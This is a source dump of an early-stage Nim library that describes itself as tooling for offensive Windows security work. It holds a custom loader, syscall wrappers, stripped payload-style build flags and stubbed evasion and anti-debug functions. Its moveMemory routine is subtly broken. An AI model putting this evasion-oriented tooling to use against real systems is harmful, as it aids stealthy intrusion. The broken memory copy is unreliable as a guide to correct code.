├── scripts
├── build.nims
└── dumpsc.nims
├── tests
├── tcrt.nim
├── tloader.nim
├── config.nims
├── nim.cfg
└── trtl.nim
├── .gitignore
├── Bitmancer.nimble
├── examples
├── loadlibrary.nim
└── runShellcode.nim
├── src
├── Bitmancer
│ ├── etw
│ │ └── etw.nim
│ ├── crt.nim
│ ├── core
│ │ ├── enumeration
│ │ │ ├── enumeration.nim
│ │ │ └── memory
│ │ │ │ ├── procedures.nim
│ │ │ │ ├── locks.nim
│ │ │ │ └── syscalls.nim
│ │ ├── types
│ │ │ ├── sync.nim
│ │ │ ├── base.nim
│ │ │ ├── cfg.nim
│ │ │ ├── exceptions.nim
│ │ │ ├── apiset.nim
│ │ │ ├── pe.nim
│ │ │ └── shared.nim
│ │ ├── types.nim
│ │ ├── ntresult.nim
│ │ ├── memory.nim
│ │ ├── intrinsics.nim
│ │ ├── obfuscation
│ │ │ └── hash.nim
│ │ ├── results.nim
│ │ ├── utils.nim
│ │ ├── pebteb.nim
│ │ └── procedures.nim
│ ├── rtl.nim
│ ├── dbg
│ │ └── antidbg.nim
│ ├── core.nim
│ ├── loader
│ │ ├── ldrevasion.nim
│ │ ├── mappings
│ │ │ ├── remote.nim
│ │ │ └── native.nim
│ │ ├── ldrutils.nim
│ │ ├── ldrlocks.nim
│ │ ├── ldrbase.nim
│ │ ├── ldrmap.nim
│ │ ├── ldrexceptions.nim
│ │ ├── ldrcfg.nim
│ │ └── ldrmapsnap.nim
│ ├── ntdll.nim
│ ├── rtl
│ │ ├── shlwapi.nim
│ │ ├── exceptions.nim
│ │ ├── heap.nim
│ │ ├── str.nim
│ │ ├── locks.nim
│ │ └── rb.nim
│ ├── syscalls.nim
│ ├── ntdll
│ │ ├── procthreads.nim
│ │ ├── query.nim
│ │ └── vm.nim
│ ├── crt
│ │ └── io.nim
│ ├── ldr.nim
│ └── syscalls
│ │ ├── gates.nim
│ │ ├── zwcounter.nim
│ │ ├── base.nim
│ │ └── ldrthunks.nim
└── Bitmancer.nim
├── nim.cfg
└── README.md
/scripts/build.nims:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/tests/tcrt.nim:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/tests/tloader.nim:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/scripts/dumpsc.nims:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/tests/config.nims:
--------------------------------------------------------------------------------
1 | switch("path", "$projectDir/../src")
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | nimcache/
2 | nimblecache/
3 | htmldocs/
4 | cache/
5 |
--------------------------------------------------------------------------------
/tests/nim.cfg:
--------------------------------------------------------------------------------
1 | -d:danger
2 | -d:release
3 | --cpu:amd64
4 |
5 |
--------------------------------------------------------------------------------
/Bitmancer.nimble:
--------------------------------------------------------------------------------
1 |
2 | # Package
3 | version = "0.1.0"
4 | author = "ZimaWhit3"
5 | description = "Offensive Security Tooling Development Library"
6 | license = "GNU GPLv3"
7 | srcDir = "src"
8 | installExt = @["nim"]
9 |
10 | # Dependencies
11 | requires "nim >= 1.6.8"
12 | requires "winim >= 3.9.0"
13 |
14 | task clean, "Clean the cache directory":
15 | exec "rm -rf ./cache"
16 | exec "mkdir ./cache"
17 |
--------------------------------------------------------------------------------
/examples/loadlibrary.nim:
--------------------------------------------------------------------------------
1 |
2 |
3 | import
4 | ../src/Bitmancer
5 |
6 | proc loadlibrary*() =
7 | var amsi {.stackStringW.} = "\\??\\C:\\Windows\\System32\\RPCRT4.dll"
8 | var okMessage {.stackStringA.} = "Loaded RPCRT4.dll"
9 | var badMessage {.stackStringA.} = "Failed to lose RPCRT4.dll"
10 | var flags = DWORD(0)
11 | SET_LOAD_LOCAL flags
12 | let ctx = eLoadLibrary(flags, cast[PCWSTR](addr amsi[0]), NULL, 0)
13 | if ctx.isOk():
14 | rawWriteStdOut cast[cstring](addr okMessage[0])
15 | else:
16 | rawWriteStdOut cast[cstring](addr badMessage[0])
17 | loadlibrary()
18 | debugbreak()
19 |
--------------------------------------------------------------------------------
/src/Bitmancer/etw/etw.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 |
21 | ## TODO
--------------------------------------------------------------------------------
/src/Bitmancer/crt.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 |
21 | import
22 | crt/[io]
23 | export
24 | io
--------------------------------------------------------------------------------
/src/Bitmancer/core/enumeration/enumeration.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | memory/[locks, procedures]
22 |
23 | export
24 | locks, procedures
25 |
26 |
--------------------------------------------------------------------------------
/src/Bitmancer.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | Bitmancer/[core, crt, ldr, ntdll, rtl, syscalls]
22 |
23 | export
24 | core, crt, ldr, ntdll, rtl, syscalls
25 |
26 |
--------------------------------------------------------------------------------
/src/Bitmancer/rtl.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 |
21 | import
22 | rtl/[exceptions, heap, locks, rb, shlwapi, str]
23 |
24 | export
25 | exceptions, heap, locks, rb, shlwapi, str
--------------------------------------------------------------------------------
/src/Bitmancer/dbg/antidbg.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 |
21 |
22 | ## Anti Debug Routines & Helpers
23 | ##------------------------------------------------------------------------
24 | func isDebuggerPresent*(): bool =
25 | ## TODO
--------------------------------------------------------------------------------
/src/Bitmancer/core.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 |
21 | import
22 | core/[apiset, intrinsics, memory, ntloader, ntresult, pe, pebteb, procedures, str, types, utils]
23 |
24 | export
25 | apiset, intrinsics, memory, ntloader, ntresult, pe, pebteb, procedures, str, types, utils
26 |
--------------------------------------------------------------------------------
/src/Bitmancer/loader/ldrevasion.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ldrbase
22 |
23 | export
24 | ldrbase
25 |
26 | ## Loader Evasion
27 | ##------------------------------------
28 | proc ldrHideModule*(ctx: PLoadContext): NtResult[void] =
29 | ## TODO
30 |
31 | proc ldrRevealModule*(ctx: PLoadContext): NtResult[void] =
32 | ## TODO
--------------------------------------------------------------------------------
/src/Bitmancer/ntdll.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 |
21 | import
22 | ntdll/[objects, procthreads, query, vm]
23 |
24 | export
25 | objects, procthreads, query, vm
26 |
27 | ## NTDLL
28 | ##
29 | ## This module implements wrappers around syscalls commonly found in
30 | ## ntdll.dll
31 | ##------------------------------------------------------------------------
--------------------------------------------------------------------------------
/src/Bitmancer/loader/mappings/remote.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ../ldrbase
22 | export
23 | ldrbase
24 |
25 | ## Remote DLLs
26 | ##------------------------------------------------------------------------
27 | proc ldrMapRemoteModule*(ctx: PLoadContext): NtResult[void] =
28 | ## TODO
29 |
30 | proc ldrUnmapRemoteModule*(ctx: PLoadContext): NtResult[void] =
31 | ## TODO
--------------------------------------------------------------------------------
/src/Bitmancer/loader/ldrutils.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ldrbase
22 |
23 | export
24 | ldrbase
25 |
26 | ## TODO: Should prbably move these elsewhere...
27 |
28 | proc ldrPrepareForwardString*(): NtResult[UNICODE_STRING] =
29 | var fs = ? new UNICODE_STRING
30 | fs.addDrivePrefixU()
31 | fs.addSystem32DirectoryU()
32 | ok fs
33 |
34 | proc ldrResolveApiSet*(apiSetName: cstring): NtResult[UNICODE_STRING] =
35 | var asn = ? new UNICODE_STRING
36 | asn.add apiSetName
37 | ? resolveApiSet(asn, NULL)
38 | ok asn
39 |
--------------------------------------------------------------------------------
/src/Bitmancer/core/types/sync.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | base
22 | export
23 | base
24 |
25 | ## SRW Locks
26 | ##-----------------------------------------------
27 | type
28 | RTL_SRWLOCK_STRUCT_1* {.pure.} = object
29 | Locked* {.bitsize:1.}: ULONGLONG
30 | Waiting* {.bitsize:1.}: ULONGLONG
31 | Waking* {.bitsize:1.}: ULONGLONG
32 | MultipleShared* {.bitsize:1.}: ULONGLONG
33 | Shared* {.bitsize:60.}: ULONGLONG
34 |
35 | RTL_SRWLOCK* {.pure, union.} = object
36 | Struct1*: RTL_SRWLOCK_STRUCT_1
37 | Value*: ULONGLONG
38 | Ptr*: PVOID
39 | PRTL_SRWLOCK* = ptr RTL_SRWLOCK
40 |
41 |
--------------------------------------------------------------------------------
/src/Bitmancer/core/types.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | types/[api, base, cfg, exceptions, loader, ntmmapi, pe, pebteb, shared, sync]
22 | export
23 | api, base, cfg, exceptions, loader, ntmmapi, pe, pebteb, shared, sync
24 |
25 | type
26 | ## Distinct pointer for module base addresses.
27 | ModuleHandle* = distinct pointer
28 |
29 | func `==`*(a: ModuleHandle, b: pointer): bool {.borrow.}
30 | func `==`*(a,b: ModuleHandle): bool {.borrow.}
31 | func `isNil`*(a: ModuleHandle): bool {.borrow.}
32 |
33 | template `+%`*(h: ModuleHandle, i: SomeInteger): PVOID =
34 | cast[PVOID](cast[int](h) +% i)
35 |
36 | template `-%`*(h: ModuleHandle, i: SomeInteger): PVOID =
37 | cast[PVOID](cast[int](h) -% i)
38 |
--------------------------------------------------------------------------------
/src/Bitmancer/rtl/shlwapi.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ../core
22 | export
23 | core
24 |
25 | func pathFindFileNameW*(path: LPCWSTR): NtResult[LPCWSTR] =
26 | if not path.isNil():
27 | var
28 | tmp = cast[ptr UncheckedArray[WCHAR]](path)
29 | i = 0
30 | result = ok path
31 | while tmp[i] != 0:
32 | if (tmp[i] == TEXTW('\\') or tmp[i] == TEXTW(':') or tmp[i] == TEXTW('/')) and (tmp[i+1] != 0) and
33 | (tmp[i+1] != TEXTW('\\')) and (tmp[i+1] != TEXTW('/')):
34 | result = ok cast[LPCWSTR](addr tmp[i+1])
35 | if (tmp[i] == TEXTW('\\') and tmp[i+1] == 0):
36 | return ok path
37 | inc i
38 | else:
39 | result = err InvalidBuffer
40 |
--------------------------------------------------------------------------------
/src/Bitmancer/core/ntresult.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | results
22 |
23 | export
24 | results
25 |
26 | type
27 | NtError* {.pure.} = enum
28 | ## Generic Errors
29 | ##-------------
30 | InsufficientMemory
31 | InvalidBuffer
32 | InvalidBufferSize
33 | InvalidFlags
34 | SearchNotFound
35 | RedBlackTreeError
36 | RBTreeNotFound
37 | ## PE Errors
38 | ##-------------
39 | ## Directory
40 | DirectoryEmpty
41 | DirectoryNotFound
42 | DirectoryIndexOOB
43 |
44 | ## Imports
45 | ImageInvalid
46 |
47 | ## Locks
48 | LockNotFound
49 |
50 | ## Procedures
51 | ProcedureNotFound
52 | ProcedureFailure
53 | ProcedureForwardApiSet
54 |
55 | ## Sections
56 | SectionEmpty
57 | SectionNotFound
58 |
59 | ## Syscall Errors
60 | ##-------------
61 | SignaturesNotFound
62 | SyscallNotFound
63 | SyscallFailure
64 |
65 | ## Loader Errors
66 | ##-------------
67 | LdrEntryNotFound
68 | LdrLinkFailed
69 | LdrUnlinkFailed
70 |
71 | ApiSetSchemaNotSupported
72 | ApiSetNotFound
73 |
74 | NtResult*[T] = Result[T, NtError]
--------------------------------------------------------------------------------
/src/Bitmancer/core/memory.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | types
22 | export
23 | types
24 |
25 | template PAGE_BOUNDARY*(va: ULONG_PTR, pageSize = 0x1000): PVOID =
26 | ## https://stackoverflow.com/questions/22970621/aligning-virtual-address-to-immediate-next-page-boundary
27 | if (va and (pageSize -% 1)) == 0:
28 | cast[PVOID](va)
29 | else:
30 | cast[PVOID]((va +% pageSize) and not (pageSize -% 1))
31 |
32 | proc moveMemory*(s1: pointer; s2: pointer; n: int): pointer {.discardable.} =
33 | var
34 | cs1: ptr uint8
35 | cs2: ptr uint8
36 | len: int
37 | if n <= 0:
38 | return s1
39 | cs1 = cast[ptr uint8](s1)
40 | cs2 = cast[ptr uint8](s2)
41 | len = n
42 | if cs1 < cs2:
43 | while true:
44 | cs1 = cast[ptr uint8](cast[int](cs1) + 1)
45 | cs2 = cast[ptr uint8](cast[int](cs1) + 1)
46 | cs1[] = cs2[]
47 | dec len
48 | if len == 0:
49 | break
50 | else:
51 | cs1 = cast[ptr uint8](cast[int](cs1) + n)
52 | cs2 = cast[ptr uint8](cast[int](cs1) + n)
53 | while true:
54 | cs1 = cast[ptr uint8](cast[int](cs1) - 1)
55 | cs2 = cast[ptr uint8](cast[int](cs1) - 1)
56 | cs1[] = cs2[]
57 | dec len
58 | if len == 0:
59 | break
60 | return s1
61 |
--------------------------------------------------------------------------------
/nim.cfg:
--------------------------------------------------------------------------------
1 |
2 | ## Nim Flags
3 | ##------------------------------------
4 | ## Standard Flags
5 | --define:danger
6 | --define:release
7 | --gc:none
8 | --threads:off
9 | --cpu:amd64
10 | --opt:size
11 |
12 | ## Set the cache directory
13 | --nimcache:"./cache/$projectname"
14 |
15 | ## Turn off main procedure generation, that will be set with a linker
16 | ## flag to NimMainModule
17 | --noMain:on
18 |
19 | ## Use Nim's routines to prevent linking to MSVCRT
20 | --define:nimNoLibc
21 |
22 | ## Turn off Winim's embedded resource
23 | --define:noRes
24 |
25 | ## Rebuild the binary to force rehashing
26 | --forcebuild
27 |
28 | ## Skip any parent configs
29 | --skipParentCfg
30 |
31 | ## Turn off all checks
32 | --checks:off
33 | --nanChecks:off
34 | --infChecks:off
35 | --styleCheck:off
36 |
37 | ## Misc. Flags
38 | --hotCodeReloading:off
39 | --tlsEmulation:off
40 | --stackTraceMsgs:off
41 | --sinkInference:off
42 | --styleChecks:off
43 |
44 | ## GCC flags
45 | ##------------------------------------
46 | ## Standard Flags
47 | --t:"-masm=intel"
48 | --t:"-fpic"
49 | --t:"-O2"
50 |
51 | ## Turn off MingW's startup code & dynamically linked libraries (Kernel32 & MSVCRT)
52 | ## This is the equivalent of using: -nodefaultlibs -nostartfiles
53 | --t:"-nostdlib"
54 |
55 | ## Place functions & data in their own sections, this allows for our linker to
56 | ## garbage collect efficiently and reduce the code size.
57 | --t:"-ffunction-sections"
58 | --t:"-fdata-sections"
59 |
60 | ## Allow the use of case statements for cleaner code
61 | --t:"-fno-jump-tables"
62 |
63 | ## Turn off Exceptions
64 | --t:"-fno-exceptions"
65 |
66 | ## Suppress generation of stack unwinding tables
67 | --t:"-fno-asynchronous-unwind-tables"
68 |
69 | ## Merge identical constants and variables to reduce code size
70 | --t:"-fmerge-all-constants"
71 |
72 | ## Linker flags
73 | ##------------------------------------
74 | ## Bypass all of Nim's initialization procedures, there is no GC so they aren't needed.
75 | ## This also turns off IO, so echo/debugecho will not work with this turned on.
76 | --l:"-Wl,-eNimMainModule"
77 |
78 | ## This needs to be passed to the compiler AND the linker...
79 | ## Reference: http://www.independent-software.com/linking-a-flat-binary-from-c-with-mingw.html
80 | --l:"-nostdlib"
81 |
82 | ## Garbage collect all unused code sections.
83 | --l:"-Wl,--gc-sections"
84 |
85 | ## Strip the executable of all debugging information
86 | --l:"-Wl,-s"
87 |
--------------------------------------------------------------------------------
/src/Bitmancer/core/intrinsics.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | proc addressOfReturnAddress*(): pointer {.importc: "_AddressOfReturnAddress", header: "intrin.h".}
21 | proc debugbreak*() {.importc: "__debugbreak", header: "_mingw.h".}
22 | proc interlockedIncrement16*(value: ptr int16): int16 {.importc: "_InterlockedIncrement16", header: "".}
23 | proc interlockedIncrement*(value: ptr int32): int32 {.importc: "_InterlockedIncrement", header: "".}
24 | proc interlockedIncrement64*(value: ptr int64): int64 {.importc: "_InterlockedIncrement64", header: "".}
25 |
26 | when defined(cpu64):
27 | proc readgsbyte*(offset: uint32): uint8 {.importc: "__readgsbyte", header: ""}
28 | proc readgsword*(offset: uint32): uint16 {.importc: "__readgsword", header: "".}
29 | proc readgsdword*(offset: uint32): uint32 {.importc: "__readgsdword", header: "".}
30 | proc readgsqword*(offset: uint64): uint64 {.importc: "__readgsqword", header: "".}
31 |
32 | elif defined(i386):
33 | proc readfsbyte*(offset: uint32): uint8 {.importc: "__readfsbyte", header: "".}
34 | proc readfsword*(offset: uint32): uint16 {.importc: "__readfsword", header: "".}
35 | proc readfsdword*(offset: uint32): uint32 {.importc: "__readfsdword", header: "".}
36 | proc readfsqword*(offset: uint32): uint64 {.importc: "__readfsqword", header: "".}
37 |
--------------------------------------------------------------------------------
/src/Bitmancer/core/obfuscation/hash.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | std/[random, parseutils],
22 | ../types
23 |
24 | export
25 | types
26 |
27 | ## CompileTime and RunTime Hashing
